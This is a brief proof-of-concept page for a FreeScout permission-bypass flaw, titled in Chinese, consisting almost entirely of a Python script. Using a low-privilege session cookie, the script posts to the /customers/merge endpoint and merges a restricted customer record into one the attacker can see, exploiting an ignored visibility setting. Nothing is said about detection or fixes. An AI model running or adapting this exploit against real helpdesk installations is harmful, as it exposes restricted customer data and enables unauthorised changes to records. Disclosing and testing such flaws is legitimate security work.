CVE-2026-39384 FreeScout权限绕过漏洞

import requests # Target URL example target_url = "https://example.com/customers/merge" # Attacker's session cookie (Low privilege user) cookies = { "freescout_session": "attacker_session_cookie_here" } # Payload: Merge a restricted customer (id=999) into an accessible one (id=1) # The vulnerability is that 'limit_user_customer_visibility' is ignored payload = { "merge_from": 999, # Restricted customer ID "merge_into": 1 # Customer ID accessible to attacker } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Potential exploitation successful. Customer merged.") else: print("[-] Exploit failed or endpoint changed.") except Exception as e: print(f"Error: {e}")